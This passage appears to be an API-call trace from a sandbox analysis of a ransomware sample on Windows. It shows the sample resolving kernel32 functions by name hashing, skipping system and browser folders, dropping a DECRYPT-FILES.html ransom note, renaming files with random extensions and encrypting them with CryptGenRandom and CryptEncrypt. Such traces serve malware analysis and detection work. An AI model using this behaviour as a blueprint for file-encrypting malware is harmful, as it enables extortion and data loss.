lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0121.400] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0121.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0121.401] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0121.401] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0121.401] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0121.401] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0121.401] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0121.401] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0121.401] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0121.401] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0121.401] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0121.401] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0121.401] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0121.401] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0121.401] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0121.401] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0121.401] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0121.401] lstrlenA (lpString="CREATETHREAD") returned 12 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0121.401] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0121.401] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0121.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0121.401] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0121.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0121.402] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0121.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0121.402] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0121.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0121.402] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0121.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0121.402] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0121.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0121.402] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.D5tE6") returned 51 [0121.402] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.D5tE6" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.d5te6"), dwFlags=0x0) returned 1 [0121.405] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.406] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.406] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.406] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0121.406] FindClose (in: hFindFile=0x3b81280 | out: hFindFile=0x3b81280) returned 1 [0121.406] CloseHandle (hObject=0x528) returned 1 [0121.407] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1 [0121.407] lstrcmpW (lpString1="1035", lpString2=".") returned 1 [0121.407] lstrcmpW (lpString1="1035", lpString2="..") returned 1 [0121.407] lstrcatW (in: lpString1="1035", lpString2="\\" | out: lpString1="1035\\") returned="1035\\" [0121.407] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1035\\" | out: lpString1="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0121.407] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1035\\", lpSrch=":\\Windows") returned 0x0 [0121.407] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1035\\", lpSrch="\\Program Files") returned 0x0 [0121.407] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1035\\", lpSrch="\\Games\\") returned 0x0 [0121.407] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1035\\", lpSrch="\\Tor Browser\\") returned 0x0 [0121.407] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1035\\", lpSrch="\\ProgramData\\") returned 0x0 [0121.407] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1035\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0121.407] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1035\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0121.407] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1035\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0121.407] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1035\\", lpSrch="\\All Users") returned 0x0 [0121.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\") returned 27 [0121.407] lstrlenW (lpString="eogwkz.dat") returned 10 [0121.407] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1035\\\\eogwkz.dat") returned 38 [0121.407] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1035\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0121.407] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\") returned 27 [0121.407] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0121.407] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1035\\\\DECRYPT-FILES.html") returned 46 [0121.407] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1035\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0121.409] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0121.410] CloseHandle (hObject=0x470) returned 1 [0121.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\") returned 27 [0121.410] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1035\\*") returned="C:\\588bce7c90097ed212\\1035\\*" [0121.410] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4e9ea8d2, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81480 [0121.410] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.410] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4e9ea8d2, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0121.410] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.410] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.410] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e9ea8d2, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4e9ea8d2, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4e9ea8d2, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0121.410] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0121.410] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e9ea8d2, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4e9ea8d2, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4e9ea8d2, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0121.410] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0121.410] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0121.411] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0121.411] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0121.411] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0121.411] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0121.411] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0121.411] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0121.411] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0121.411] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0121.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\") returned 27 [0121.411] lstrlenW (lpString="eogwkz.dat") returned 10 [0121.411] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1035\\" | out: lpString1="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0121.411] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1035\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1035\\eogwkz.dat" [0121.411] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0121.411] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1035\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.411] CloseHandle (hObject=0x0) returned 0 [0121.411] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.411] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0121.411] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0121.412] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0121.412] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0121.412] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0121.412] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0121.412] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0121.412] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0121.412] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0121.412] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0121.412] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0121.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\") returned 27 [0121.412] lstrlenW (lpString="eula.rtf") returned 8 [0121.412] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1035\\" | out: lpString1="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0121.412] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf" [0121.412] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0121.412] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0121.412] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3702) returned 1 [0121.412] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0121.412] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0121.549] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0121.549] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0121.549] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0121.550] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0121.550] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0121.550] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.550] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0121.550] CloseHandle (hObject=0x5f8) returned 1 [0121.551] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.551] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0121.551] CloseHandle (hObject=0x0) returned 0 [0121.551] CloseHandle (hObject=0x5f4) returned 1 [0121.552] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.553] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.553] GetTickCount () returned 0x33cfa [0121.553] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0121.553] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0121.553] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0121.554] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0121.554] lstrlenA (lpString="kernel32.dll") returned 12 [0121.554] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0121.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0121.554] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0121.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0121.554] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0121.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0121.554] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0121.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0121.554] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0121.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0121.554] lstrlenA (lpString="ADDATOMA") returned 8 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0121.555] lstrlenA (lpString="ADDATOMW") returned 8 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0121.555] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0121.555] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0121.555] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0121.555] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0121.555] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0121.555] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0121.555] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0121.555] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0121.555] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0121.555] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0121.555] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0121.555] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0121.555] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0121.555] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0121.555] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0121.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0121.556] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0121.556] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0121.556] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0121.556] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0121.556] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0121.556] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0121.556] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0121.556] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0121.556] lstrcpyA (in: 